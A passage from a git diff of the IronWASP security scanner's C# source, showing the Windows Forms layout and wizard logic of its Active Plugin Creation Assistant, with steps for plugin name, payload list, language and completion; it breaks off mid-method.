System.Windows.Forms.TextBox(); + this.textBox5 = new System.Windows.Forms.TextBox(); + this.StepThreePreviousBtn = new System.Windows.Forms.Button(); + this.StepThreeNextBtn = new System.Windows.Forms.Button(); + this.FinalTab = new System.Windows.Forms.TabPage(); + this.PluginFileTB = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.FinalBtn = new System.Windows.Forms.Button(); + this.PayloadFileOpener = new System.Windows.Forms.OpenFileDialog(); + this.BaseTabs.SuspendLayout(); + this.NameTab.SuspendLayout(); + this.PayloadsTab.SuspendLayout(); + this.LanguageTab.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.FinalTab.SuspendLayout(); + this.SuspendLayout(); + // + // BaseTabs + // + this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; + this.BaseTabs.Controls.Add(this.NameTab); + this.BaseTabs.Controls.Add(this.PayloadsTab); + this.BaseTabs.Controls.Add(this.LanguageTab); + this.BaseTabs.Controls.Add(this.FinalTab); + this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.BaseTabs.Location = new System.Drawing.Point(0, 0); + this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.BaseTabs.Name = "BaseTabs"; + this.BaseTabs.Padding = new System.Drawing.Point(0, 0); + this.BaseTabs.SelectedIndex = 0; + this.BaseTabs.Size = new System.Drawing.Size(684, 461); + this.BaseTabs.TabIndex = 16; + this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); + // + // NameTab + // + this.NameTab.Controls.Add(this.label2); + this.NameTab.Controls.Add(this.PluginDescTB); + this.NameTab.Controls.Add(this.label1); + this.NameTab.Controls.Add(this.PluginNameTB); + this.NameTab.Controls.Add(this.Step0StatusTB); + this.NameTab.Controls.Add(this.CancelBtn); + this.NameTab.Controls.Add(this.textBox2); + this.NameTab.Controls.Add(this.StepOneNextBtn); + this.NameTab.Location = new System.Drawing.Point(4, 25); + this.NameTab.Margin = new System.Windows.Forms.Padding(0); + this.NameTab.Name = "NameTab"; + this.NameTab.Padding = new System.Windows.Forms.Padding(5); + this.NameTab.Size = new System.Drawing.Size(676, 432); + this.NameTab.TabIndex = 0; + this.NameTab.Text = " Plugin Name "; + this.NameTab.UseVisualStyleBackColor = true; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(11, 145); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(95, 13); + this.label2.TabIndex = 10; + this.label2.Text = "Plugin Description:"; + // + // PluginDescTB + // + this.PluginDescTB.Location = new System.Drawing.Point(110, 142); + this.PluginDescTB.Name = "PluginDescTB"; + this.PluginDescTB.Size = new System.Drawing.Size(556, 20); + this.PluginDescTB.TabIndex = 9; + this.PluginDescTB.TextChanged += new System.EventHandler(this.PluginDescTB_TextChanged); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(32, 98); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(70, 13); + this.label1.TabIndex = 8; + this.label1.Text = "Plugin Name:"; + // + // PluginNameTB + // + this.PluginNameTB.Location = new System.Drawing.Point(110, 95); + this.PluginNameTB.Name = "PluginNameTB"; + this.PluginNameTB.Size = new System.Drawing.Size(556, 20); + this.PluginNameTB.TabIndex = 7; + this.PluginNameTB.TextChanged += new System.EventHandler(this.PluginNameTB_TextChanged); + // + // Step0StatusTB + // + this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step0StatusTB.Location = new System.Drawing.Point(130, 374); + this.Step0StatusTB.Multiline = true; + this.Step0StatusTB.Name = "Step0StatusTB"; + this.Step0StatusTB.Size = new System.Drawing.Size(409, 50); + this.Step0StatusTB.TabIndex = 6; + this.Step0StatusTB.TabStop = false; + this.Step0StatusTB.Visible = false; + // + // CancelBtn + // + this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.CancelBtn.Location = new System.Drawing.Point(8, 401); + this.CancelBtn.Name = "CancelBtn"; + this.CancelBtn.Size = new System.Drawing.Size(105, 23); + this.CancelBtn.TabIndex = 4; + this.CancelBtn.Text = "Cancel"; + this.CancelBtn.UseVisualStyleBackColor = true; + this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox2.Location = new System.Drawing.Point(5, 5); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.ReadOnly = true; + this.textBox2.Size = new System.Drawing.Size(666, 61); + this.textBox2.TabIndex = 3; + this.textBox2.TabStop = false; + this.textBox2.Text = resources.GetString("textBox2.Text"); + // + // StepOneNextBtn + // + this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepOneNextBtn.Location = new System.Drawing.Point(561, 401); + this.StepOneNextBtn.Name = "StepOneNextBtn"; + this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepOneNextBtn.TabIndex = 2; + this.StepOneNextBtn.Text = "Next Step ->"; + this.StepOneNextBtn.UseVisualStyleBackColor = true; + this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); + // + // PayloadsTab + // + this.PayloadsTab.Controls.Add(this.label5); + this.PayloadsTab.Controls.Add(this.label4); + this.PayloadsTab.Controls.Add(this.NoOriginalParameterRB); + this.PayloadsTab.Controls.Add(this.OriginalParameterAfterPayloadRB); + this.PayloadsTab.Controls.Add(this.OriginalParameterBeforePayloadRB); + this.PayloadsTab.Controls.Add(this.textBox7); + this.PayloadsTab.Controls.Add(this.PayloadsFileLbl); + this.PayloadsTab.Controls.Add(this.label3); + this.PayloadsTab.Controls.Add(this.PayloadsListTB); + this.PayloadsTab.Controls.Add(this.LoadPayloadsFileLL); + this.PayloadsTab.Controls.Add(this.Step1StatusTB); + this.PayloadsTab.Controls.Add(this.textBox4); + this.PayloadsTab.Controls.Add(this.StepTwoPreviousBtn); + this.PayloadsTab.Controls.Add(this.StepTwoNextBtn); + this.PayloadsTab.Location = new System.Drawing.Point(4, 25); + this.PayloadsTab.Margin = new System.Windows.Forms.Padding(0); + this.PayloadsTab.Name = "PayloadsTab"; + this.PayloadsTab.Padding = new System.Windows.Forms.Padding(5); + this.PayloadsTab.Size = new System.Drawing.Size(676, 432); + this.PayloadsTab.TabIndex = 1; + this.PayloadsTab.Text = " Select Payloads "; + this.PayloadsTab.UseVisualStyleBackColor = true; + // + // label5 + // + this.label5.AutoEllipsis = true; + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(11, 356); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(468, 13); + this.label5.TabIndex = 26; + this.label5.Text = "During testing sometimes the parameter\'s original value needs to be added along w" + + "ith the payload."; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(11, 374); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(311, 13); + this.label4.TabIndex = 25; + this.label4.Text = "Where do you want to add the tested parameter\'s original value?"; + // + // NoOriginalParameterRB + // + this.NoOriginalParameterRB.AutoSize = true; + this.NoOriginalParameterRB.Location = new System.Drawing.Point(600, 372); + this.NoOriginalParameterRB.Name = "NoOriginalParameterRB"; + this.NoOriginalParameterRB.Size = new System.Drawing.Size(69, 17); + this.NoOriginalParameterRB.TabIndex = 24; + this.NoOriginalParameterRB.Text = "don\'t add"; + this.NoOriginalParameterRB.UseVisualStyleBackColor = true; + // + // OriginalParameterAfterPayloadRB + // + this.OriginalParameterAfterPayloadRB.AutoSize = true; + this.OriginalParameterAfterPayloadRB.Location = new System.Drawing.Point(480, 372); + this.OriginalParameterAfterPayloadRB.Name = "OriginalParameterAfterPayloadRB"; + this.OriginalParameterAfterPayloadRB.Size = new System.Drawing.Size(104, 17); + this.OriginalParameterAfterPayloadRB.TabIndex = 23; + this.OriginalParameterAfterPayloadRB.Text = "after the payload"; + this.OriginalParameterAfterPayloadRB.UseVisualStyleBackColor = true; + // + // OriginalParameterBeforePayloadRB + // + this.OriginalParameterBeforePayloadRB.AutoSize = true; + this.OriginalParameterBeforePayloadRB.Checked = true; + this.OriginalParameterBeforePayloadRB.Location = new System.Drawing.Point(352, 372); + this.OriginalParameterBeforePayloadRB.Name = "OriginalParameterBeforePayloadRB"; + this.OriginalParameterBeforePayloadRB.Size = new System.Drawing.Size(113, 17); + this.OriginalParameterBeforePayloadRB.TabIndex = 22; + this.OriginalParameterBeforePayloadRB.TabStop = true; + this.OriginalParameterBeforePayloadRB.Text = "before the payload"; + this.OriginalParameterBeforePayloadRB.UseVisualStyleBackColor = true; + // + // textBox7 + // + this.textBox7.BackColor = System.Drawing.SystemColors.Control; + this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox7.ForeColor = System.Drawing.Color.Blue; + this.textBox7.Location = new System.Drawing.Point(15, 287); + this.textBox7.Multiline = true; + this.textBox7.Name = "textBox7"; + this.textBox7.ReadOnly = true; + this.textBox7.Size = new System.Drawing.Size(637, 49); + this.textBox7.TabIndex = 16; + this.textBox7.TabStop = false; + this.textBox7.Text = "NOTE: \r\nThe payloads must be in Url Encoded form. For example null character must" + + " be represented as %00, new line as %0a, space character as +, + character as %2" + + "b and so on."; + // + // PayloadsFileLbl + // + this.PayloadsFileLbl.AutoSize = true; + this.PayloadsFileLbl.Location = new System.Drawing.Point(129, 247); + this.PayloadsFileLbl.Name = "PayloadsFileLbl"; + this.PayloadsFileLbl.Size = new System.Drawing.Size(376, 13); + this.PayloadsFileLbl.TabIndex = 21; + this.PayloadsFileLbl.Text = " " + + " "; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(9, 264); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(501, 13); + this.label3.TabIndex = 20; + this.label3.Text = "(If there are more than 5 payloads then they will be saved in a seperate file in " + + "the Active Plugins directory)"; + // + // PayloadsListTB + // + this.PayloadsListTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.PayloadsListTB.Location = new System.Drawing.Point(8, 53); + this.PayloadsListTB.Multiline = true; + this.PayloadsListTB.Name = "PayloadsListTB"; + this.PayloadsListTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.PayloadsListTB.Size = new System.Drawing.Size(660, 188); + this.PayloadsListTB.TabIndex = 17; + this.PayloadsListTB.WordWrap = false; + // + // LoadPayloadsFileLL + // + this.LoadPayloadsFileLL.AutoSize = true; + this.LoadPayloadsFileLL.Location = new System.Drawing.Point(8, 247); + this.LoadPayloadsFileLL.Name = "LoadPayloadsFileLL"; + this.LoadPayloadsFileLL.Size = new System.Drawing.Size(115, 13); + this.LoadPayloadsFileLL.TabIndex = 16; + this.LoadPayloadsFileLL.TabStop = true; + this.LoadPayloadsFileLL.Text = "Load payloads from file"; + this.LoadPayloadsFileLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadPayloadsFileLL_LinkClicked); + // + // Step1StatusTB + // + this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step1StatusTB.Location = new System.Drawing.Point(119, 402); + this.Step1StatusTB.Multiline = true; + this.Step1StatusTB.Name = "Step1StatusTB"; + this.Step1StatusTB.Size = new System.Drawing.Size(438, 22); + this.Step1StatusTB.TabIndex = 11; + this.Step1StatusTB.TabStop = false; + this.Step1StatusTB.Visible = false; + // + // textBox4 + // + this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox4.Location = new System.Drawing.Point(5, 5); + this.textBox4.Multiline = true; + this.textBox4.Name = "textBox4"; + this.textBox4.ReadOnly = true; + this.textBox4.Size = new System.Drawing.Size(666, 45); + this.textBox4.TabIndex = 9; + this.textBox4.TabStop = false; + this.textBox4.Text = "\r\nPlease specify the payloads you want to be sent by this Active Plugin. You can " + + "either type the payloads one per line or provide a file with the list of payload" + + "s.\r\n\r\n"; + // + // StepTwoPreviousBtn + // + this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 401); + this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; + this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoPreviousBtn.TabIndex = 8; + this.StepTwoPreviousBtn.Text = "<-Previous Step"; + this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; + this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); + // + // StepTwoNextBtn + // + this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepTwoNextBtn.Location = new System.Drawing.Point(563, 401); + this.StepTwoNextBtn.Name = "StepTwoNextBtn"; + this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepTwoNextBtn.TabIndex = 7; + this.StepTwoNextBtn.Text = "Next Step ->"; + this.StepTwoNextBtn.UseVisualStyleBackColor = true; + this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); + // + // LanguageTab + // + this.LanguageTab.Controls.Add(this.groupBox2); + this.LanguageTab.Controls.Add(this.Step2StatusTB); + this.LanguageTab.Controls.Add(this.textBox5); + this.LanguageTab.Controls.Add(this.StepThreePreviousBtn); + this.LanguageTab.Controls.Add(this.StepThreeNextBtn); + this.LanguageTab.Location = new System.Drawing.Point(4, 25); + this.LanguageTab.Name = "LanguageTab"; + this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); + this.LanguageTab.Size = new System.Drawing.Size(676, 432); + this.LanguageTab.TabIndex = 2; + this.LanguageTab.Text = " Select Language "; + this.LanguageTab.UseVisualStyleBackColor = true; + // + // groupBox2 + // + this.groupBox2.Controls.Add(this.PluginLangRubyRB); + this.groupBox2.Controls.Add(this.PluginLangPythonRB); + this.groupBox2.Location = new System.Drawing.Point(7, 114); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(660, 110); + this.groupBox2.TabIndex = 20; + this.groupBox2.TabStop = false; + this.groupBox2.Text = "Which language should the plugin be created in?"; + // + // PluginLangRubyRB + // + this.PluginLangRubyRB.AutoSize = true; + this.PluginLangRubyRB.Location = new System.Drawing.Point(12, 79); + this.PluginLangRubyRB.Name = "PluginLangRubyRB"; + this.PluginLangRubyRB.Size = new System.Drawing.Size(50, 17); + this.PluginLangRubyRB.TabIndex = 15; + this.PluginLangRubyRB.Text = "Ruby"; + this.PluginLangRubyRB.UseVisualStyleBackColor = true; + // + // PluginLangPythonRB + // + this.PluginLangPythonRB.AutoSize = true; + this.PluginLangPythonRB.Checked = true; + this.PluginLangPythonRB.Location = new System.Drawing.Point(12, 29); + this.PluginLangPythonRB.Name = "PluginLangPythonRB"; + this.PluginLangPythonRB.Size = new System.Drawing.Size(58, 17); + this.PluginLangPythonRB.TabIndex = 14; + this.PluginLangPythonRB.TabStop = true; + this.PluginLangPythonRB.Text = "Python"; + this.PluginLangPythonRB.UseVisualStyleBackColor = true; + // + // Step2StatusTB + // + this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.Step2StatusTB.Location = new System.Drawing.Point(132, 385); + this.Step2StatusTB.Multiline = true; + this.Step2StatusTB.Name = "Step2StatusTB"; + this.Step2StatusTB.Size = new System.Drawing.Size(410, 39); + this.Step2StatusTB.TabIndex = 13; + this.Step2StatusTB.TabStop = false; + this.Step2StatusTB.Visible = false; + // + // textBox5 + // + this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.Location = new System.Drawing.Point(5, 5); + this.textBox5.Multiline = true; + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(666, 77); + this.textBox5.TabIndex = 11; + this.textBox5.TabStop = false; + this.textBox5.Text = "\r\nActive Plugins can be written in Python or in Ruby. Choose you language of choi" + + "ce and this Active Plugin will be created in that language."; + // + // StepThreePreviousBtn + // + this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreePreviousBtn.Location = new System.Drawing.Point(8, 401); + this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; + this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreePreviousBtn.TabIndex = 10; + this.StepThreePreviousBtn.Text = "<-Previous Step"; + this.StepThreePreviousBtn.UseVisualStyleBackColor = true; + this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); + // + // StepThreeNextBtn + // + this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepThreeNextBtn.Location = new System.Drawing.Point(563, 401); + this.StepThreeNextBtn.Name = "StepThreeNextBtn"; + this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); + this.StepThreeNextBtn.TabIndex = 9; + this.StepThreeNextBtn.Text = "Next Step ->"; + this.StepThreeNextBtn.UseVisualStyleBackColor = true; + this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); + // + // FinalTab + // + this.FinalTab.Controls.Add(this.PluginFileTB); + this.FinalTab.Controls.Add(this.label6); + this.FinalTab.Controls.Add(this.textBox1); + this.FinalTab.Controls.Add(this.FinalBtn); + this.FinalTab.Location = new System.Drawing.Point(4, 25); + this.FinalTab.Name = "FinalTab"; + this.FinalTab.Padding = new System.Windows.Forms.Padding(5); + this.FinalTab.Size = new System.Drawing.Size(676, 432); + this.FinalTab.TabIndex = 3; + this.FinalTab.Text = " Done "; + this.FinalTab.UseVisualStyleBackColor = true; + // + // PluginFileTB + // + this.PluginFileTB.Location = new System.Drawing.Point(75, 280); + this.PluginFileTB.Name = "PluginFileTB"; + this.PluginFileTB.Size = new System.Drawing.Size(591, 20); + this.PluginFileTB.TabIndex = 23; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(11, 283); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(58, 13); + this.label6.TabIndex = 22; + this.label6.Text = "Plugin File:"; + // + // textBox1 + // + this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox1.Location = new System.Drawing.Point(16, 41); + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.ReadOnly = true; + this.textBox1.Size = new System.Drawing.Size(637, 209); + this.textBox1.TabIndex = 21; + this.textBox1.Text = resources.GetString("textBox1.Text"); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(491, 389); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(177, 35); + this.FinalBtn.TabIndex = 16; + this.FinalBtn.Text = "Close this Assistant"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // ActivePluginCreationAssistant + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(684, 461); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(700, 500); + this.MinimumSize = new System.Drawing.Size(700, 500); + this.Name = "ActivePluginCreationAssistant"; + this.Text = "ActivePlugin Creation Assistant"; + this.BaseTabs.ResumeLayout(false); + this.NameTab.ResumeLayout(false); + this.NameTab.PerformLayout(); + this.PayloadsTab.ResumeLayout(false); + this.PayloadsTab.PerformLayout(); + this.LanguageTab.ResumeLayout(false); + this.LanguageTab.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.FinalTab.ResumeLayout(false); + this.FinalTab.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage NameTab; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.TabPage PayloadsTab; + internal System.Windows.Forms.TextBox Step1StatusTB; + private System.Windows.Forms.TextBox textBox4; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.TabPage LanguageTab; + internal System.Windows.Forms.TextBox Step2StatusTB; + private System.Windows.Forms.TextBox textBox5; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.TabPage FinalTab; + private System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.TextBox PluginDescTB; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.TextBox PluginNameTB; + private System.Windows.Forms.OpenFileDialog PayloadFileOpener; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.TextBox PayloadsListTB; + private System.Windows.Forms.LinkLabel LoadPayloadsFileLL; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label PayloadsFileLbl; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.RadioButton PluginLangRubyRB; + private System.Windows.Forms.RadioButton PluginLangPythonRB; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.RadioButton NoOriginalParameterRB; + private System.Windows.Forms.RadioButton OriginalParameterAfterPayloadRB; + private System.Windows.Forms.RadioButton OriginalParameterBeforePayloadRB; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.TextBox PluginFileTB; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.TextBox textBox1; + } } \ No newline at end of file diff --git a/IronWASP/ActivePluginCreationAssistant.cs b/Iron/ActivePluginCreationAssistant.cs similarity index 98% rename from IronWASP/ActivePluginCreationAssistant.cs rename to Iron/ActivePluginCreationAssistant.cs index 0c9b120..f8cd626 100644 --- a/IronWASP/ActivePluginCreationAssistant.cs +++ b/Iron/ActivePluginCreationAssistant.cs @@ -1,623 +1,623 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Text.RegularExpressions; -using System.IO; - -namespace IronWASP -{ - public partial class ActivePluginCreationAssistant : Form - { - string PluginName = ""; - string PluginDescription = ""; - List Payloads = new List(); - - int CurrentStep = 0; - string[] IndexNames = new string[] { "NameTab", "PayloadsTab", "LanguageTab", "FinalTab" }; - - string PayloadsFileName = ""; - - int MaxCountForPayloadsList = 5; - - public ActivePluginCreationAssistant() - { - InitializeComponent(); - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep0Error(""); - string Name = PluginNameTB.Text.Trim(); - if (Name.Length == 0) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("Plugin name cannot be empty"); - return; - } - if (!Regex.IsMatch(Name, "^[a-zA-Z]+$")) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("Plugin Name should only contain alphabets (a-z)"); - return; - } - if (!Name[0].ToString().ToUpper().Equals(Name[0].ToString())) - { - ShowStep0Error("Plugin Name should begin with an upper case letter"); - return; - } - if (ActivePlugin.List().Contains(Name)) - { - PluginNameTB.BackColor = Color.Red; - ShowStep0Error("An Active Plugin with this name already exists. Select a different name."); - return; - } - string Desc = PluginDescTB.Text; - if (Desc.Trim().Length == 0) - { - PluginDescTB.BackColor = Color.Red; - ShowStep0Error("Plugin description cannot be empty"); - return; - } - this.PluginName = Name; - this.PluginDescription = Desc; - this.CurrentStep = 1; - this.BaseTabs.SelectTab("PayloadsTab"); - } - - void ShowStep0Status(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Black; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep0Error(string Text) - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - void ShowStep1Status(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Black; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep2Status(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Black; - this.Step2StatusTB.Visible = true; - } - } - void ShowStep2Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - - private void PluginNameTB_TextChanged(object sender, EventArgs e) - { - if (PluginNameTB.BackColor == Color.Red) PluginNameTB.BackColor = Color.White; - } - - private void PluginDescTB_TextChanged(object sender, EventArgs e) - { - if (PluginDescTB.BackColor == Color.Red) PluginDescTB.BackColor = Color.White; - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 0; - this.BaseTabs.SelectTab("NameTab"); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - ShowStep1Error(""); - List PayloadsTempList = new List(PayloadsListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries)); - if (PayloadsTempList.Count == 0) - { - ShowStep1Error("No valid payloads were entered. Enter atleast one payload before you proceed to next step."); - } - else - { - this.Payloads.Clear(); - this.Payloads = new List(PayloadsTempList); - this.CurrentStep = 2; - this.BaseTabs.SelectTab("LanguageTab"); - } - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab("PayloadsTab"); - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - ShowStep2Error(""); - try - { - CreatePlugin(); - } - catch (Exception Exp) - { - ShowStep2Error(string.Format("Unable to create plugin file - {0}", Exp.Message)); - return; - } - this.CurrentStep = 3; - this.BaseTabs.SelectTab("FinalTab"); - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - this.Close(); - } - - private void LoadPayloadsFileLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - while (PayloadFileOpener.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(PayloadFileOpener.FileName); - try - { - StreamReader SR = new StreamReader(Info.FullName); - PayloadsListTB.Text = SR.ReadToEnd(); - SR.Close(); - PayloadsFileLbl.Text = Info.FullName; - } - catch(Exception Exp) - { - MessageBox.Show(string.Format("Error reading selected file: {0}", Exp)); - } - break; - } - } - - void CreatePlugin() - { - if (this.Payloads.Count > this.MaxCountForPayloadsList) SavePayloadsToFile(); - string[] PluginCodes = CreatePluginCode(); - string PyCode = PluginCodes[0]; - string 